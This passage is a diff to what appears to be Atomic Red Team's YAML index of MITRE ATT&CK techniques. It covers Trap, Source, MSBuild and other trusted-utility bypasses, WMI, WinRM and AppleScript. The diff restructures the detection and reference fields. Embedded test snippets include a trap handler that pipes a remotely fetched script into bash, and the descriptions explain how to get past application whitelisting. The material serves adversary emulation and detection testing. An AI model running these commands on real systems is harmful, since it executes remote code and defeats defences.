INJECTION: A CASE STUDY. Retrieved April 9, 2018.' source_name: Enigma0x3 PubPrn Bypass - url: https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/ - - description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved + - url: https://github.com/api0cradle/UltimateAppLockerByPassList + description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018. source_name: GitHub Ultimate AppLocker Bypass List - url: https://github.com/api0cradle/UltimateAppLockerByPassList object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-04-18T17:59:24.739Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Process monitoring - Process command-line parameters + x_mitre_contributors: + - Praetorian x_mitre_defense_bypassed: - Application whitelisting - Digital Certificate Validation + x_mitre_detection: Monitor script processes, such as cscript, and command-line + parameters for scripts like PubPrn.vbs that may be used to proxy execution + of malicious files. x_mitre_permissions_required: - User x_mitre_remote_support: false - x_mitre_contributors: - - Praetorian - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern - id: attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2018-04-18T17:59:24.739Z' identifier: T1216 atomic_tests: - name: PubPrn.vbs Signed Script Bypass @@ -14556,6 +14637,8 @@ execution: ' T1153: technique: + id: attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Source description: "The source command loads functions into the current shell or executes files in the current context. This built-in command can @@ -14566,36 +14649,34 @@ execution: certain features or functions available to a shell or to update a specific shell's environment. \n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked - executable beforehand.\n\nDetection: Monitor for command shell execution of - source and subsequent processes that are started as a result of being executed - by a source command. Adversaries must also drop a file to disk in order to - execute it with source, and these files can also detected by file monitoring.\n\nPlatforms: - Linux, macOS\n\nData Sources: Process Monitoring, File monitoring, Process - command-line parameters\n\nPermissions Required: User\n\nRemote Support: No" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: execution + executable beforehand." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1153 + - external_id: T1153 + url: https://attack.mitre.org/techniques/T1153 source_name: mitre-attack - external_id: T1153 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - - Process Monitoring + - Process monitoring - File monitoring - Process command-line parameters + x_mitre_detection: Monitor for command shell execution of source and subsequent + processes that are started as a result of being executed by a source command. + Adversaries must also drop a file to disk in order to execute it with source, + and these files can also detected by file monitoring. + x_mitre_platforms: + - Linux + - macOS x_mitre_permissions_required: - User x_mitre_remote_support: false - id: attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1153 atomic_tests: - name: Execute Script using Source @@ -14627,6 +14708,8 @@ execution: . /tmp/art.sh T1151: technique: + id: attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Space after Filename description: "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work @@ -14640,44 +14723,41 @@ execution: the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files - of any format and ultimately executing something malicious.\n\nDetection: - It's not common for spaces to be at the end of filenames, so this is something - that can easily be checked with file monitoring. From the user's perspective - though, this is very hard to notice from within the Finder.app or on the command-line - in Terminal.app. Processes executed from binaries containing non-standard - extensions in the filename are suspicious.\n\nPlatforms: Linux, macOS\n\nData - Sources: File monitoring, Process Monitoring\n\nPermissions Required: User\n\nContributors: - Erye Hernandez, Palo Alto Networks" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution + of any format and ultimately executing something malicious." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1151 + - external_id: T1151 + url: https://attack.mitre.org/techniques/T1151 source_name: mitre-attack - external_id: T1151 - - description: Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors + - url: https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/ + description: Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017. source_name: Mac Backdoors are back - url: https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_version: '1.0' + x_mitre_data_sources: + - File monitoring + - Process monitoring + x_mitre_contributors: + - Erye Hernandez, Palo Alto Networks + x_mitre_detection: It's not common for spaces to be at the end of filenames, + so this is something that can easily be checked with file monitoring. From + the user's perspective though, this is very hard to notice from within the + Finder.app or on the command-line in Terminal.app. Processes executed from + binaries containing non-standard extensions in the filename are suspicious. x_mitre_platforms: - Linux - macOS - x_mitre_data_sources: - - File monitoring - - Process Monitoring x_mitre_permissions_required: - User - x_mitre_contributors: - - Erye Hernandez, Palo Alto Networks - id: attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1151 atomic_tests: - name: Space After Filename @@ -14693,46 +14773,47 @@ execution: \"\n\n3. ./execute.txt\\ \n" T1154: technique: + id: attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Trap - description: |- - The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where "command list" will be executed when "signals" are received. - - Detection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts. - - Platforms: Linux, macOS - - Data Sources: File monitoring, Process Monitoring, Process command-line parameters - - Permissions Required: User, Administrator - - Remote Support: No - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: execution - - kill_chain_name: mitre-attack - phase_name: persistence + description: The trap command allows programs and shells to specify + commands that will be executed upon receiving interrupt signals. A common + situation is a script allowing for graceful termination and handling of common keyboard + interrupts like ctrl+c and ctrl+d. Adversaries can + use this to register code to be executed when the shell encounters specific + interrupts either to gain execution or as a persistence mechanism. Trap commands + are of the following format trap 'command list' signals where + "command list" will be executed when "signals" are received. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1154 + - external_id: T1154 + url: https://attack.mitre.org/techniques/T1154 source_name: mitre-attack - external_id: T1154 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS + x_mitre_version: '1.0' + x_mitre_detection: Trap commands must be registered for the shell or programs, + so they appear in files. Monitoring files for suspicious or overly broad trap + commands can narrow down suspicious behavior during an investigation. Monitor + for suspicious processes executed through trap interrupts. x_mitre_data_sources: - File monitoring - - Process Monitoring + - Process monitoring - Process command-line parameters x_mitre_permissions_required: - User - Administrator + x_mitre_platforms: + - Linux + - macOS x_mitre_remote_support: false - id: attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: execution + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1154 atomic_tests: - name: Trap @@ -14753,13 +14834,15 @@ execution: trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' INT T1127: technique: + id: attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Trusted Developer Utilities description: "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application - whitelisting defensive solutions.\n\n===MSBuild===\n\nMSBuild.exe (Microsoft + whitelisting defensive solutions.\n\n### MSBuild\n\nMSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can @@ -14770,128 +14853,115 @@ execution: MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: SubTee GitHub All The - Things Application Whitelisting Bypass)\n\n===DNX===\n\nThe .NET Execution - Environment (DNX), dnx.exe, is a software development kit packaged with Visual - Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: - Microsoft Migrating from DNX) DNX is not present on standard builds of Windows - and may only be present on developer workstations using older versions of - .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. - \n\nAn adversary can use dnx.exe to proxy execution of arbitrary code to bypass - application whitelist policies that do not account for DNX. (Citation: engima0x3 - DNX Bypass)\n\n===RCSI===\n\nThe rcsi.exe utility is a non-interactive command-line - interface for C# that is similar to csi.exe. It was provided within an early - version of the Roslyn .NET Compiler Platform but has since been deprecated - for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe - binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)\n\nC# .csx - script files can be written and executed with rcsi.exe at the command-line. - An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass - application whitelisting policies that do not account for execution of rcsi.exe. - (Citation: engima0x3 RCSI Bypass)\n\n===WinDbg/CDB===\n\nWinDbg is a Microsoft - Windows kernel and user-mode debugging utility. The Microsoft Console Debugger - (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows - software development kits and can be used as standalone tools. (Citation: - Microsoft Debugging Tools for Windows) They are commonly used in software - development and reverse engineering and may not be found on typical Windows - systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn - adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code - to bypass application whitelist policies that do not account for execution - of those utilities. (Citation: Exploit Monday WinDbg)\n\nIt is likely possible - to use other debuggers for similar purposes, such as the kernel-mode debugger - kd.exe, which is also signed by Microsoft.\n\n===Tracker===\n\nThe file tracker - utility, tracker.exe, is included with the .NET framework as part of MSBuild. - It is used for logging calls to the Windows file system. (Citation: Microsoft - Docs File Tracking)\n\nAn adversary can use tracker.exe to proxy execution - of an arbitrary DLL into another process. Since tracker.exe is also signed - it can be used to bypass application whitelisting solutions. (Citation: Twitter - SubTee Tracker.exe)\n\nDetection: The presence of these or other utilities - that enable proxy execution that are typically used for development, debugging, - and reverse engineering on a system that is not used for these purposes may - be suspicious.\n\nUse process monitoring to monitor the execution and arguments - of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare - recent invocations of those binaries with prior history of known good arguments - and executed binaries to determine anomalous and potentially adversarial activity. - It is likely that these utilities will be used by software developers or for - other software development related tasks, so if it exists and is used outside - of that context, then the event may be suspicious. Command arguments used - before and after invocation of the utilities may also be useful in determining - the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData - Sources: Process monitoring\n\nDefense Bypassed: Application whitelisting\n\nPermissions - Required: User\n\nSystem Requirements: MSBuild: .NET Framework version 4 or - higher\nDNX: .NET 4.5.2, Powershell 4.0\nRCSI: .NET 4.5 or later, Visual Studio - 2012\n\nRemote Support: No\n\nContributors: Casey Smith, Matthew Demaske, - Adaptforward" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution + Things Application Whitelisting Bypass)\n\n### DNX\n\nThe .NET Execution Environment + (DNX), dnx.exe, is a software development kit packaged with Visual Studio + Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft + Migrating from DNX) DNX is not present on standard builds of Windows and may + only be present on developer workstations using older versions of .NET Core + and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn + adversary can use dnx.exe to proxy execution of arbitrary code to bypass application + whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)\n\n### + RCSI\n\nThe rcsi.exe utility is a non-interactive command-line interface for + C# that is similar to csi.exe. It was provided within an early version of + the Roslyn .NET Compiler Platform but has since been deprecated for an integrated + solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed + by Microsoft. (Citation: engima0x3 RCSI Bypass)\n\nC# .csx script files can + be written and executed with rcsi.exe at the command-line. An adversary can + use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting + policies that do not account for execution of rcsi.exe. (Citation: engima0x3 + RCSI Bypass)\n\n### WinDbg/CDB\n\nWinDbg is a Microsoft Windows kernel and + user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe + is also user-mode debugger. Both utilities are included in Windows software + development kits and can be used as standalone tools. (Citation: Microsoft + Debugging Tools for Windows) They are commonly used in software development + and reverse engineering and may not be found on typical Windows systems. Both + WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can + use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass + application whitelist policies that do not account for execution of those + utilities. (Citation: Exploit Monday WinDbg)\n\nIt is likely possible to use + other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, + which is also signed by Microsoft.\n\n### Tracker\n\nThe file tracker utility, + tracker.exe, is included with the .NET framework as part of MSBuild. It is + used for logging calls to the Windows file system. (Citation: Microsoft Docs + File Tracking)\n\nAn adversary can use tracker.exe to proxy execution of an + arbitrary DLL into another process. Since tracker.exe is also signed it can + be used to bypass application whitelisting solutions. (Citation: Twitter SubTee + Tracker.exe)" external_references: - - url: https://attack.mitre.org/wiki/Technique/T1127 + - external_id: T1127 + url: https://attack.mitre.org/techniques/T1127 source_name: mitre-attack - external_id: T1127 - - description: Graeber, M. (2016, August 15). Bypassing Application Whitelisting - by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017. - source_name: Exploit Monday WinDbg - url: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html - - description: Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016. + - url: https://msdn.microsoft.com/library/dd393574.aspx + description: Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016. source_name: MSDN MSBuild - url: https://msdn.microsoft.com/library/dd393574.aspx - - description: Marshall, D. (2017, May 23). Debugging Tools for Windows (WinDbg, - KD, CDB, NTSD). Retrieved June 29, 2017. - source_name: Microsoft Debugging Tools for Windows - url: https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index - - description: B, M., Brown, K., Cai, S., Hogenson, G., Warren, G. (2016, November - 4). File Tracking. Retrieved November 1, 2017. - source_name: Microsoft Docs File Tracking - url: https://docs.microsoft.com/visualstudio/msbuild/file-tracking - - description: Knezevic, Z., Wenzel, M. Latham, L. (2016, June 20). Migrating + - url: https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx + description: Knezevic, Z., Wenzel, M. Latham, L. (2016, June 20). Migrating from DNX to .NET Core CLI (project.json). Retrieved June 28, 2017. source_name: Microsoft Migrating from DNX - url: https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx - - description: Osenkov, K. (2011, October 19). Introducing the Microsoft “Roslyn” + - url: https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/ + description: Nelson, M. (2017, November 17). Bypassing Application Whitelisting + By Using dnx.exe. Retrieved May 25, 2017. + source_name: engima0x3 DNX Bypass + - url: https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/ + description: Osenkov, K. (2011, October 19). Introducing the Microsoft “Roslyn” CTP. Retrieved June 28, 2017. source_name: Microsoft Roslyn CPT RCSI - url: https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/ + - url: https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/ + description: Nelson, M. (2016, November 21). Bypassing Application Whitelisting + By Using rcsi.exe. Retrieved May 26, 2017. + source_name: engima0x3 RCSI Bypass + - url: https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index + description: Marshall, D. (2017, May 23). Debugging Tools for Windows (WinDbg, + KD, CDB, NTSD). Retrieved June 29, 2017. + source_name: Microsoft Debugging Tools for Windows + - url: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html + description: Graeber, M. (2016, August 15). Bypassing Application Whitelisting + by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017. + source_name: Exploit Monday WinDbg - description: "[ Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ Application Control Bypass Techniques in One File. Retrieved June 30, 2017." source_name: SubTee GitHub All The Things Application Whitelisting Bypass - - description: Smith, C. (2016, October 31). SubTee Twitter Status. Retrieved + - url: https://docs.microsoft.com/visualstudio/msbuild/file-tracking + description: B, M., Brown, K., Cai, S., Hogenson, G., Warren, G. (2016, November + 4). File Tracking. Retrieved November 1, 2017. + source_name: Microsoft Docs File Tracking + - url: https://twitter.com/subTee/status/793151392185589760 + description: Smith, C. (2016, October 31). SubTee Twitter Status. Retrieved November 1, 2017. source_name: Twitter SubTee Tracker.exe - url: https://twitter.com/subTee/status/793151392185589760 - - description: Nelson, M. (2017, November 17). Bypassing Application Whitelisting - By Using dnx.exe. Retrieved May 25, 2017. - source_name: engima0x3 DNX Bypass - url: https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/ - - description: Nelson, M. (2016, November 21). Bypassing Application Whitelisting - By Using rcsi.exe. Retrieved May 26, 2017. - source_name: engima0x3 RCSI Bypass - url: https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:39.262Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Casey Smith + - Matthew Demaske, Adaptforward x_mitre_data_sources: - Process monitoring x_mitre_defense_bypassed: - Application whitelisting + x_mitre_detection: |- + The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. + + Use process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed. x_mitre_permissions_required: - User + x_mitre_remote_support: false + x_mitre_platforms: + - Windows x_mitre_system_requirements: - |- MSBuild: .NET Framework version 4 or higher DNX: .NET 4.5.2, Powershell 4.0 RCSI: .NET 4.5 or later, Visual Studio 2012 - x_mitre_remote_support: false - x_mitre_contributors: - - Casey Smith - - Matthew Demaske, Adaptforward - id: attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:39.262Z' identifier: T1127 atomic_tests: - name: MSBuild Bypass Using Inline Tasks @@ -14956,71 +15026,63 @@ execution: ' T1047: technique: + id: attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Windows Management Instrumentation description: |- Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI) An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015) - - Detection: Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of "wmic" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015) - - Platforms: Windows - - Data Sources: Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring - - Permissions Required: User, Administrator - - System Requirements: WMI service, winmgmt, running. - Host/network firewalls allowing SMB and WMI ports from source to destination. - SMB authentication. - - Remote Support: Yes - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: execution external_references: - - url: https://attack.mitre.org/wiki/Technique/T1047 + - external_id: T1047 + url: https://attack.mitre.org/techniques/T1047 source_name: mitre-attack - external_id: T1047 - - description: Wikipedia. (2016, June 12). Server Message Block. Retrieved June - 12, 2016. - source_name: Wikipedia SMB - url: https://en.wikipedia.org/wiki/Server%20Message%20Block - - description: Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, - 2016. - source_name: TechNet RPC - url: https://technet.microsoft.com/en-us/library/cc787851.aspx - - description: Microsoft. (n.d.). Windows Management Instrumentation. Retrieved + - url: https://msdn.microsoft.com/en-us/library/aa394582.aspx + description: Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016. source_name: MSDN WMI - url: https://msdn.microsoft.com/en-us/library/aa394582.aspx - - description: Ballenthin, W., et al. (2015). Windows Management Instrumentation + - url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf + description: Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016. source_name: FireEye WMI 2015 - url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf + - url: https://en.wikipedia.org/wiki/Server_Message_Block + description: Wikipedia. (2016, June 12). Server Message Block. Retrieved June + 12, 2016. + source_name: Wikipedia SMB + - url: https://technet.microsoft.com/en-us/library/cc787851.aspx + description: Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, + 2016. + source_name: TechNet RPC object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:44.329Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Authentication logs - Netflow/Enclave netflow - - Process command-line parameters - Process monitoring + - Process command-line parameters + x_mitre_detection: 'Monitor network traffic for WMI connections; the use of + WMI in environments that do not typically use WMI may be suspect. Perform + process monitoring to capture command-line arguments of "wmic" and detect + commands that are used to perform remote behavior. (Citation: FireEye WMI + 2015)' x_mitre_permissions_required: - User - Administrator + x_mitre_remote_support: true + x_mitre_platforms: + - Windows x_mitre_system_requirements: - |- WMI service, winmgmt, running. Host/network firewalls allowing SMB and WMI ports from source to destination. SMB authentication. - x_mitre_remote_support: true - id: attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:44.329Z' identifier: T1047 atomic_tests: - name: WMI Reconnaissance Users @@ -15079,59 +15141,56 @@ execution: ' T1028: technique: + id: attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Windows Remote Management - description: |- - Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014) - - Detection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events. - - Platforms: Windows - - Data Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring - - Permissions Required: User, Administrator - - System Requirements: WinRM listener turned on and configured on remote system - - Remote Support: Yes - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: execution - - kill_chain_name: mitre-attack - phase_name: lateral-movement + description: 'Windows Remote Management (WinRM) is the name of both a Windows + service and a protocol that allows a user to interact with a remote system + (e.g., run an executable, modify the Registry, modify services). (Citation: + Microsoft WinRM) It may be called with the winrm command or by + any number of programs such as PowerShell. (Citation: Jacobsen 2014)' external_references: - - url: https://attack.mitre.org/wiki/Technique/T1028 + - external_id: T1028 + url: https://attack.mitre.org/techniques/T1028 source_name: mitre-attack - external_id: T1028 - - description: Microsoft. (n.d.). Windows Remote Management. Retrieved November + - url: http://msdn.microsoft.com/en-us/library/aa384426 + description: Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014. source_name: Microsoft WinRM - url: http://msdn.microsoft.com/en-us/library/aa384426 - - description: Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. + - url: https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2 + description: Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014. source_name: Jacobsen 2014 - url: https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:33.723Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - Authentication logs - Netflow/Enclave netflow - - Process command-line parameters - Process monitoring + - Process command-line parameters + x_mitre_detection: Monitor use of WinRM within an environment by tracking service + execution. If it is not normally used or is disabled, then this may be an + indicator of suspicious behavior. Monitor processes created and actions taken + by the WinRM process or a WinRM invoked script to correlate it with other + related events. x_mitre_permissions_required: - User - Administrator + x_mitre_remote_support: true + x_mitre_platforms: + - Windows x_mitre_system_requirements: - WinRM listener turned on and configured on remote system - x_mitre_remote_support: true - id: attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: execution + kill_chain_name: mitre-attack + - phase_name: lateral-movement + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:33.723Z' identifier: T1028 atomic_tests: - name: Enable Windows Remote Management @@ -15239,6 +15298,8 @@ execution: lateral-movement: T1155: technique: + id: attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: AppleScript description: "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted @@ -15255,41 +15316,38 @@ lateral-movement: be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command lie via osascript /path/to/script or osascript - -e \"script here\".\n\nDetection: Monitor for execution of AppleScript - through osascript that may be related to other suspicious behavior occurring - on the system.\n\nPlatforms: macOS\n\nData Sources: API monitoring, System - calls, Process Monitoring, Process command-line parameters\n\nPermissions - Required: User\n\nRemote Support: Yes" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: execution - - kill_chain_name: mitre-attack - phase_name: lateral-movement + -e \"script here\"." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1155 + - external_id: T1155 + url: https://attack.mitre.org/techniques/T1155 source_name: mitre-attack - external_id: T1155 - - description: Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. + - url: https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/ + description: Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017. source_name: Macro Malware Targets Macs - url: https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - 